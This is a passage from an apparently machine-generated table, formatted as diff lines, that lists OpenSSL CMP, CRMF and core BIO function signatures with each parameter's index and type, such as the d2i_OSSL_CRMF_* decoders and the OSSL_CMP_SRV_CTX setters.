*,OSSL_LIB_CTX *,const char *) | | ossl_cmp_msg_set0_libctx | 2 | const char * | +| (OSSL_CMP_MSG *,const stack_st_OSSL_CMP_ITAV *) | | ossl_cmp_msg_gen_push1_ITAVs | 0 | OSSL_CMP_MSG * | +| (OSSL_CMP_MSG *,const stack_st_OSSL_CMP_ITAV *) | | ossl_cmp_msg_gen_push1_ITAVs | 1 | const stack_st_OSSL_CMP_ITAV * | +| (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 0 | OSSL_CMP_MSG * | +| (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | int | +| (OSSL_CMP_PKIBODY *) | | OSSL_CMP_PKIBODY_free | 0 | OSSL_CMP_PKIBODY * | +| (OSSL_CMP_PKIBODY **,const unsigned char **,long) | | d2i_OSSL_CMP_PKIBODY | 0 | OSSL_CMP_PKIBODY ** | +| (OSSL_CMP_PKIBODY **,const unsigned char **,long) | | d2i_OSSL_CMP_PKIBODY | 1 | const unsigned char ** | +| (OSSL_CMP_PKIBODY **,const unsigned char **,long) | | d2i_OSSL_CMP_PKIBODY | 2 | long | +| (OSSL_CMP_PKIHEADER *) | | OSSL_CMP_PKIHEADER_free | 0 | OSSL_CMP_PKIHEADER * | +| (OSSL_CMP_PKIHEADER *) | | ossl_cmp_hdr_update_messageTime | 0 | OSSL_CMP_PKIHEADER * | +| (OSSL_CMP_PKIHEADER **,const unsigned char **,long) | | d2i_OSSL_CMP_PKIHEADER | 0 | OSSL_CMP_PKIHEADER ** | +| (OSSL_CMP_PKIHEADER **,const unsigned char **,long) | | d2i_OSSL_CMP_PKIHEADER | 1 | const unsigned char ** | +| (OSSL_CMP_PKIHEADER **,const unsigned char **,long) | | d2i_OSSL_CMP_PKIHEADER | 2 | long | +| (OSSL_CMP_PKIHEADER *,ASN1_UTF8STRING *) | | ossl_cmp_hdr_push0_freeText | 0 | OSSL_CMP_PKIHEADER * | +| (OSSL_CMP_PKIHEADER *,ASN1_UTF8STRING *) | | ossl_cmp_hdr_push0_freeText | 1 | ASN1_UTF8STRING * | +| (OSSL_CMP_PKIHEADER *,OSSL_CMP_ITAV *) | | ossl_cmp_hdr_generalInfo_push0_item | 0 | OSSL_CMP_PKIHEADER * | +| (OSSL_CMP_PKIHEADER *,OSSL_CMP_ITAV *) | | ossl_cmp_hdr_generalInfo_push0_item | 1 | OSSL_CMP_ITAV * | +| (OSSL_CMP_PKIHEADER *,const ASN1_OCTET_STRING *) | | ossl_cmp_hdr_set1_senderKID | 0 | OSSL_CMP_PKIHEADER * | +| (OSSL_CMP_PKIHEADER *,const ASN1_OCTET_STRING *) | | ossl_cmp_hdr_set1_senderKID | 1 | const ASN1_OCTET_STRING * | +| (OSSL_CMP_PKIHEADER *,const X509_NAME *) | | ossl_cmp_hdr_set1_recipient | 0 | OSSL_CMP_PKIHEADER * | +| (OSSL_CMP_PKIHEADER *,const X509_NAME *) | | ossl_cmp_hdr_set1_recipient | 1 | const X509_NAME * | +| (OSSL_CMP_PKIHEADER *,const X509_NAME *) | | ossl_cmp_hdr_set1_sender | 0 | OSSL_CMP_PKIHEADER * | +| (OSSL_CMP_PKIHEADER *,const X509_NAME *) | | ossl_cmp_hdr_set1_sender | 1 | const X509_NAME * | +| (OSSL_CMP_PKIHEADER *,const stack_st_OSSL_CMP_ITAV *) | | ossl_cmp_hdr_generalInfo_push1_items | 0 | OSSL_CMP_PKIHEADER * | +| (OSSL_CMP_PKIHEADER *,const stack_st_OSSL_CMP_ITAV *) | | ossl_cmp_hdr_generalInfo_push1_items | 1 | const stack_st_OSSL_CMP_ITAV * | +| (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 0 | OSSL_CMP_PKIHEADER * | +| (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | int | +| (OSSL_CMP_PKISI *) | | OSSL_CMP_PKISI_free | 0 | OSSL_CMP_PKISI * | +| (OSSL_CMP_PKISI **,const unsigned char **,long) | | d2i_OSSL_CMP_PKISI | 0 | OSSL_CMP_PKISI ** | +| (OSSL_CMP_PKISI **,const unsigned char **,long) | | d2i_OSSL_CMP_PKISI | 1 | const unsigned char ** | +| (OSSL_CMP_PKISI **,const unsigned char **,long) | | d2i_OSSL_CMP_PKISI | 2 | long | +| (OSSL_CMP_POLLREP *) | | OSSL_CMP_POLLREP_free | 0 | OSSL_CMP_POLLREP * | +| (OSSL_CMP_POLLREP **,const unsigned char **,long) | | d2i_OSSL_CMP_POLLREP | 0 | OSSL_CMP_POLLREP ** | +| (OSSL_CMP_POLLREP **,const unsigned char **,long) | | d2i_OSSL_CMP_POLLREP | 1 | const unsigned char ** | +| (OSSL_CMP_POLLREP **,const unsigned char **,long) | | d2i_OSSL_CMP_POLLREP | 2 | long | +| (OSSL_CMP_POLLREQ *) | | OSSL_CMP_POLLREQ_free | 0 | OSSL_CMP_POLLREQ * | +| (OSSL_CMP_POLLREQ **,const unsigned char **,long) | | d2i_OSSL_CMP_POLLREQ | 0 | OSSL_CMP_POLLREQ ** | +| (OSSL_CMP_POLLREQ **,const unsigned char **,long) | | d2i_OSSL_CMP_POLLREQ | 1 | const unsigned char ** | +| (OSSL_CMP_POLLREQ **,const unsigned char **,long) | | d2i_OSSL_CMP_POLLREQ | 2 | long | +| (OSSL_CMP_PROTECTEDPART *) | | OSSL_CMP_PROTECTEDPART_free | 0 | OSSL_CMP_PROTECTEDPART * | +| (OSSL_CMP_PROTECTEDPART **,const unsigned char **,long) | | d2i_OSSL_CMP_PROTECTEDPART | 0 | OSSL_CMP_PROTECTEDPART ** | +| (OSSL_CMP_PROTECTEDPART **,const unsigned char **,long) | | d2i_OSSL_CMP_PROTECTEDPART | 1 | const unsigned char ** | +| (OSSL_CMP_PROTECTEDPART **,const unsigned char **,long) | | d2i_OSSL_CMP_PROTECTEDPART | 2 | long | +| (OSSL_CMP_REVANNCONTENT *) | | OSSL_CMP_REVANNCONTENT_free | 0 | OSSL_CMP_REVANNCONTENT * | +| (OSSL_CMP_REVANNCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_REVANNCONTENT | 0 | OSSL_CMP_REVANNCONTENT ** | +| (OSSL_CMP_REVANNCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_REVANNCONTENT | 1 | const unsigned char ** | +| (OSSL_CMP_REVANNCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_REVANNCONTENT | 2 | long | +| (OSSL_CMP_REVDETAILS *) | | OSSL_CMP_REVDETAILS_free | 0 | OSSL_CMP_REVDETAILS * | +| (OSSL_CMP_REVDETAILS **,const unsigned char **,long) | | d2i_OSSL_CMP_REVDETAILS | 0 | OSSL_CMP_REVDETAILS ** | +| (OSSL_CMP_REVDETAILS **,const unsigned char **,long) | | d2i_OSSL_CMP_REVDETAILS | 1 | const unsigned char ** | +| (OSSL_CMP_REVDETAILS **,const unsigned char **,long) | | d2i_OSSL_CMP_REVDETAILS | 2 | long | +| (OSSL_CMP_REVREPCONTENT *) | | OSSL_CMP_REVREPCONTENT_free | 0 | OSSL_CMP_REVREPCONTENT * | +| (OSSL_CMP_REVREPCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_REVREPCONTENT | 0 | OSSL_CMP_REVREPCONTENT ** | +| (OSSL_CMP_REVREPCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_REVREPCONTENT | 1 | const unsigned char ** | +| (OSSL_CMP_REVREPCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_REVREPCONTENT | 2 | long | +| (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 0 | OSSL_CMP_REVREPCONTENT * | +| (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | int | +| (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 0 | OSSL_CMP_REVREPCONTENT * | +| (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | int | +| (OSSL_CMP_ROOTCAKEYUPDATE *) | | OSSL_CMP_ROOTCAKEYUPDATE_free | 0 | OSSL_CMP_ROOTCAKEYUPDATE * | +| (OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long) | | d2i_OSSL_CMP_ROOTCAKEYUPDATE | 0 | OSSL_CMP_ROOTCAKEYUPDATE ** | +| (OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long) | | d2i_OSSL_CMP_ROOTCAKEYUPDATE | 1 | const unsigned char ** | +| (OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long) | | d2i_OSSL_CMP_ROOTCAKEYUPDATE | 2 | long | +| (OSSL_CMP_SRV_CTX *,OSSL_CMP_SRV_delayed_delivery_cb_t,OSSL_CMP_SRV_clean_transaction_cb_t) | | OSSL_CMP_SRV_CTX_init_trans | 0 | OSSL_CMP_SRV_CTX * | +| (OSSL_CMP_SRV_CTX *,OSSL_CMP_SRV_delayed_delivery_cb_t,OSSL_CMP_SRV_clean_transaction_cb_t) | | OSSL_CMP_SRV_CTX_init_trans | 1 | OSSL_CMP_SRV_delayed_delivery_cb_t | +| (OSSL_CMP_SRV_CTX *,OSSL_CMP_SRV_delayed_delivery_cb_t,OSSL_CMP_SRV_clean_transaction_cb_t) | | OSSL_CMP_SRV_CTX_init_trans | 2 | OSSL_CMP_SRV_clean_transaction_cb_t | +| (OSSL_CMP_SRV_CTX *,const OSSL_CMP_MSG *) | | OSSL_CMP_SRV_process_request | 0 | OSSL_CMP_SRV_CTX * | +| (OSSL_CMP_SRV_CTX *,const OSSL_CMP_MSG *) | | OSSL_CMP_SRV_process_request | 1 | const OSSL_CMP_MSG * | +| (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 0 | OSSL_CMP_SRV_CTX * | +| (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | int | +| (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 0 | OSSL_CMP_SRV_CTX * | +| (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | int | +| (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 0 | OSSL_CMP_SRV_CTX * | +| (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | int | +| (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 0 | OSSL_CMP_SRV_CTX * | +| (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | int | +| (OSSL_CMP_SRV_CTX *,stack_st_X509 *) | | ossl_cmp_mock_srv_set1_caPubsOut | 0 | OSSL_CMP_SRV_CTX * | +| (OSSL_CMP_SRV_CTX *,stack_st_X509 *) | | ossl_cmp_mock_srv_set1_caPubsOut | 1 | stack_st_X509 * | +| (OSSL_CMP_SRV_CTX *,stack_st_X509 *) | | ossl_cmp_mock_srv_set1_chainOut | 0 | OSSL_CMP_SRV_CTX * | +| (OSSL_CMP_SRV_CTX *,stack_st_X509 *) | | ossl_cmp_mock_srv_set1_chainOut | 1 | stack_st_X509 * | +| (OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t) | | OSSL_CMP_SRV_CTX_init | 0 | OSSL_CMP_SRV_CTX * | +| (OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t) | | OSSL_CMP_SRV_CTX_init | 1 | void * | +| (OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t) | | OSSL_CMP_SRV_CTX_init | 2 | OSSL_CMP_SRV_cert_request_cb_t | +| (OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t) | | OSSL_CMP_SRV_CTX_init | 3 | OSSL_CMP_SRV_rr_cb_t | +| (OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t) | | OSSL_CMP_SRV_CTX_init | 4 | OSSL_CMP_SRV_genm_cb_t | +| (OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t) | | OSSL_CMP_SRV_CTX_init | 5 | OSSL_CMP_SRV_error_cb_t | +| (OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t) | | OSSL_CMP_SRV_CTX_init | 6 | OSSL_CMP_SRV_certConf_cb_t | +| (OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t) | | OSSL_CMP_SRV_CTX_init | 7 | OSSL_CMP_SRV_pollReq_cb_t | +| (OSSL_CORE_BIO *,const char *,va_list) | | ossl_core_bio_vprintf | 0 | OSSL_CORE_BIO * | +| (OSSL_CORE_BIO *,const char *,va_list) | | ossl_core_bio_vprintf | 1 | const char * | +| (OSSL_CORE_BIO *,const char *,va_list) | | ossl_core_bio_vprintf | 2 | va_list | +| (OSSL_CORE_BIO *,void *,size_t,size_t *) | | ossl_core_bio_read_ex | 0 | OSSL_CORE_BIO * | +| (OSSL_CORE_BIO *,void *,size_t,size_t *) | | ossl_core_bio_read_ex | 1 | void * | +| (OSSL_CORE_BIO *,void *,size_t,size_t *) | | ossl_core_bio_read_ex | 2 | size_t | +| (OSSL_CORE_BIO *,void *,size_t,size_t *) | | ossl_core_bio_read_ex | 3 | size_t * | +| (OSSL_CRMF_ATTRIBUTETYPEANDVALUE *) | | OSSL_CRMF_ATTRIBUTETYPEANDVALUE_free | 0 | OSSL_CRMF_ATTRIBUTETYPEANDVALUE * | +| (OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long) | | d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE | 0 | OSSL_CRMF_ATTRIBUTETYPEANDVALUE ** | +| (OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long) | | d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE | 1 | const unsigned char ** | +| (OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long) | | d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE | 2 | long | +| (OSSL_CRMF_CERTID *) | | OSSL_CRMF_CERTID_free | 0 | OSSL_CRMF_CERTID * | +| (OSSL_CRMF_CERTID **,const unsigned char **,long) | | d2i_OSSL_CRMF_CERTID | 0 | OSSL_CRMF_CERTID ** | +| (OSSL_CRMF_CERTID **,const unsigned char **,long) | | d2i_OSSL_CRMF_CERTID | 1 | const unsigned char ** | +| (OSSL_CRMF_CERTID **,const unsigned char **,long) | | d2i_OSSL_CRMF_CERTID | 2 | long | +| (OSSL_CRMF_CERTREQUEST *) | | OSSL_CRMF_CERTREQUEST_free | 0 | OSSL_CRMF_CERTREQUEST * | +| (OSSL_CRMF_CERTREQUEST **,const unsigned char **,long) | | d2i_OSSL_CRMF_CERTREQUEST | 0 | OSSL_CRMF_CERTREQUEST ** | +| (OSSL_CRMF_CERTREQUEST **,const unsigned char **,long) | | d2i_OSSL_CRMF_CERTREQUEST | 1 | const unsigned char ** | +| (OSSL_CRMF_CERTREQUEST **,const unsigned char **,long) | | d2i_OSSL_CRMF_CERTREQUEST | 2 | long | +| (OSSL_CRMF_CERTTEMPLATE *) | | OSSL_CRMF_CERTTEMPLATE_free | 0 | OSSL_CRMF_CERTTEMPLATE * | +| (OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long) | | d2i_OSSL_CRMF_CERTTEMPLATE | 0 | OSSL_CRMF_CERTTEMPLATE ** | +| (OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long) | | d2i_OSSL_CRMF_CERTTEMPLATE | 1 | const unsigned char ** | +| (OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long) | | d2i_OSSL_CRMF_CERTTEMPLATE | 2 | long | +| (OSSL_CRMF_CERTTEMPLATE *,EVP_PKEY *,const X509_NAME *,const X509_NAME *,const ASN1_INTEGER *) | | OSSL_CRMF_CERTTEMPLATE_fill | 0 | OSSL_CRMF_CERTTEMPLATE * | +| (OSSL_CRMF_CERTTEMPLATE *,EVP_PKEY *,const X509_NAME *,const X509_NAME *,const ASN1_INTEGER *) | | OSSL_CRMF_CERTTEMPLATE_fill | 1 | EVP_PKEY * | +| (OSSL_CRMF_CERTTEMPLATE *,EVP_PKEY *,const X509_NAME *,const X509_NAME *,const ASN1_INTEGER *) | | OSSL_CRMF_CERTTEMPLATE_fill | 2 | const X509_NAME * | +| (OSSL_CRMF_CERTTEMPLATE *,EVP_PKEY *,const X509_NAME *,const X509_NAME *,const ASN1_INTEGER *) | | OSSL_CRMF_CERTTEMPLATE_fill | 3 | const X509_NAME * | +| (OSSL_CRMF_CERTTEMPLATE *,EVP_PKEY *,const X509_NAME *,const X509_NAME *,const ASN1_INTEGER *) | | OSSL_CRMF_CERTTEMPLATE_fill | 4 | const ASN1_INTEGER * | +| (OSSL_CRMF_ENCKEYWITHID *) | | OSSL_CRMF_ENCKEYWITHID_free | 0 | OSSL_CRMF_ENCKEYWITHID * | +| (OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long) | | d2i_OSSL_CRMF_ENCKEYWITHID | 0 | OSSL_CRMF_ENCKEYWITHID ** | +| (OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long) | | d2i_OSSL_CRMF_ENCKEYWITHID | 1 | const unsigned char ** | +| (OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long) | | d2i_OSSL_CRMF_ENCKEYWITHID | 2 | long | +| (OSSL_CRMF_ENCKEYWITHID_IDENTIFIER *) | | OSSL_CRMF_ENCKEYWITHID_IDENTIFIER_free | 0 | OSSL_CRMF_ENCKEYWITHID_IDENTIFIER * | +| (OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long) | | d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER | 0 | OSSL_CRMF_ENCKEYWITHID_IDENTIFIER ** | +| (OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long) | | d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER | 1 | const unsigned char ** | +| (OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long) | | d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER | 2 | long | +| (OSSL_CRMF_ENCRYPTEDKEY *) | | OSSL_CRMF_ENCRYPTEDKEY_free | 0 | OSSL_CRMF_ENCRYPTEDKEY * | +| (OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long) | | d2i_OSSL_CRMF_ENCRYPTEDKEY | 0 | OSSL_CRMF_ENCRYPTEDKEY ** | +| (OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long) | | d2i_OSSL_CRMF_ENCRYPTEDKEY | 1 | const unsigned char ** | +| (OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long) | | d2i_OSSL_CRMF_ENCRYPTEDKEY | 2 | long | +| (OSSL_CRMF_ENCRYPTEDVALUE *) | | OSSL_CRMF_ENCRYPTEDVALUE_free | 0 | OSSL_CRMF_ENCRYPTEDVALUE * | +| (OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long) | | d2i_OSSL_CRMF_ENCRYPTEDVALUE | 0 | OSSL_CRMF_ENCRYPTEDVALUE ** | +| (OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long) | | d2i_OSSL_CRMF_ENCRYPTEDVALUE | 1 | const unsigned char ** | +| (OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long) | | d2i_OSSL_CRMF_ENCRYPTEDVALUE | 2 | long | +| (OSSL_CRMF_MSG *) | | OSSL_CRMF_MSG_free | 0 | OSSL_CRMF_MSG * | +| (OSSL_CRMF_MSG **,const unsigned char **,long) | | d2i_OSSL_CRMF_MSG | 0 | OSSL_CRMF_MSG ** | +| (OSSL_CRMF_MSG **,const unsigned char **,long) | | d2i_OSSL_CRMF_MSG | 1 | const unsigned char ** | +| (OSSL_CRMF_MSG **,const unsigned char **,long) | | d2i_OSSL_CRMF_MSG | 2 | long | +| (OSSL_CRMF_MSG *,const OSSL_CRMF_CERTID *) | | OSSL_CRMF_MSG_set1_regCtrl_oldCertID | 0 | OSSL_CRMF_MSG * | +| (OSSL_CRMF_MSG *,const OSSL_CRMF_CERTID *) | | OSSL_CRMF_MSG_set1_regCtrl_oldCertID | 1 | const OSSL_CRMF_CERTID * | +| (OSSL_CRMF_MSG *,const OSSL_CRMF_CERTREQUEST *) | | OSSL_CRMF_MSG_set1_regInfo_certReq | 0 | OSSL_CRMF_MSG * | +| (OSSL_CRMF_MSG *,const OSSL_CRMF_CERTREQUEST *) | | OSSL_CRMF_MSG_set1_regInfo_certReq | 1 | const OSSL_CRMF_CERTREQUEST * | +| (OSSL_CRMF_MSG *,const OSSL_CRMF_PKIPUBLICATIONINFO *) | | OSSL_CRMF_MSG_set1_regCtrl_pkiPublicationInfo | 0 | OSSL_CRMF_MSG * | +| (OSSL_CRMF_MSG *,const OSSL_CRMF_PKIPUBLICATIONINFO *) | | OSSL_CRMF_MSG_set1_regCtrl_pkiPublicationInfo | 1 | const OSSL_CRMF_PKIPUBLICATIONINFO * | +| (OSSL_CRMF_MSGS *) | | OSSL_CRMF_MSGS_free | 0 | OSSL_CRMF_MSGS * | +| (OSSL_CRMF_MSGS **,const unsigned char **,long) | | d2i_OSSL_CRMF_MSGS | 0 | OSSL_CRMF_MSGS ** | +| (OSSL_CRMF_MSGS **,const unsigned char **,long) | | d2i_OSSL_CRMF_MSGS | 1 | const unsigned char ** | +| (OSSL_CRMF_MSGS **,const unsigned char **,long) | | d2i_OSSL_CRMF_MSGS | 2 | long | +| (OSSL_CRMF_OPTIONALVALIDITY *) | | OSSL_CRMF_OPTIONALVALIDITY_free | 0 | OSSL_CRMF_OPTIONALVALIDITY * | +| (OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long) | | d2i_OSSL_CRMF_OPTIONALVALIDITY | 0 | OSSL_CRMF_OPTIONALVALIDITY ** | +| (OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long) | | d2i_OSSL_CRMF_OPTIONALVALIDITY | 1 | const unsigned char ** | +| (OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long) | | d2i_OSSL_CRMF_OPTIONALVALIDITY | 2 | long | +| (OSSL_CRMF_PBMPARAMETER *) | | OSSL_CRMF_PBMPARAMETER_free | 0 | OSSL_CRMF_PBMPARAMETER * | +| (OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long) | | d2i_OSSL_CRMF_PBMPARAMETER | 0 | OSSL_CRMF_PBMPARAMETER ** | +| (OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long) | | d2i_OSSL_CRMF_PBMPARAMETER | 1 | const unsigned char ** | +| (OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long) | | d2i_OSSL_CRMF_PBMPARAMETER | 2 | long | +| (OSSL_CRMF_PKIPUBLICATIONINFO *) | | OSSL_CRMF_PKIPUBLICATIONINFO_free | 0 | OSSL_CRMF_PKIPUBLICATIONINFO * | +| (OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long) | | d2i_OSSL_CRMF_PKIPUBLICATIONINFO | 0 | OSSL_CRMF_PKIPUBLICATIONINFO ** | +| (OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long) | | d2i_OSSL_CRMF_PKIPUBLICATIONINFO | 1 | const unsigned char ** | +| (OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long) | | d2i_OSSL_CRMF_PKIPUBLICATIONINFO | 2 | long | +| (OSSL_CRMF_PKIPUBLICATIONINFO *,OSSL_CRMF_SINGLEPUBINFO *) | | OSSL_CRMF_MSG_PKIPublicationInfo_push0_SinglePubInfo | 0 | OSSL_CRMF_PKIPUBLICATIONINFO * | +| (OSSL_CRMF_PKIPUBLICATIONINFO *,OSSL_CRMF_SINGLEPUBINFO *) | | OSSL_CRMF_MSG_PKIPublicationInfo_push0_SinglePubInfo | 1 | OSSL_CRMF_SINGLEPUBINFO * | +| (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 0 | OSSL_CRMF_PKIPUBLICATIONINFO * | +| (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | int | +| (OSSL_CRMF_PKMACVALUE *) | | OSSL_CRMF_PKMACVALUE_free | 0 | OSSL_CRMF_PKMACVALUE * | +| (OSSL_CRMF_PKMACVALUE **,const unsigned char **,long) | | d2i_OSSL_CRMF_PKMACVALUE | 0 | OSSL_CRMF_PKMACVALUE ** | +| (OSSL_CRMF_PKMACVALUE **,const unsigned char **,long) | | d2i_OSSL_CRMF_PKMACVALUE | 1 | const unsigned char ** | +| (OSSL_CRMF_PKMACVALUE **,const unsigned char **,long) | | d2i_OSSL_CRMF_PKMACVALUE | 2 | long | +| (OSSL_CRMF_POPO *) | | OSSL_CRMF_POPO_free | 0 | OSSL_CRMF_POPO * | +| (OSSL_CRMF_POPO **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPO | 0 | OSSL_CRMF_POPO ** | +| (OSSL_CRMF_POPO **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPO | 1 | const unsigned char ** | +| (OSSL_CRMF_POPO **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPO | 2 | long | +| (OSSL_CRMF_POPOPRIVKEY *) | | OSSL_CRMF_POPOPRIVKEY_free | 0 | OSSL_CRMF_POPOPRIVKEY * | +| (OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPOPRIVKEY | 0 | OSSL_CRMF_POPOPRIVKEY ** | +| (OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPOPRIVKEY | 1 | const unsigned char ** | +| (OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPOPRIVKEY | 2 | long | +| (OSSL_CRMF_POPOSIGNINGKEY *) | | OSSL_CRMF_POPOSIGNINGKEY_free | 0 | OSSL_CRMF_POPOSIGNINGKEY * | +| (OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPOSIGNINGKEY | 0 | OSSL_CRMF_POPOSIGNINGKEY ** | +| (OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPOSIGNINGKEY | 1 | const unsigned char ** | +| (OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPOSIGNINGKEY | 2 | long | +| (OSSL_CRMF_POPOSIGNINGKEYINPUT *) | | OSSL_CRMF_POPOSIGNINGKEYINPUT_free | 0 | OSSL_CRMF_POPOSIGNINGKEYINPUT * | +| (OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT | 0 | OSSL_CRMF_POPOSIGNINGKEYINPUT ** | +| (OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT | 1 | const unsigned char ** | +| (OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT | 2 | long | +| (OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO *) | | OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO_free | 0 | OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO * | +| (OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long) | 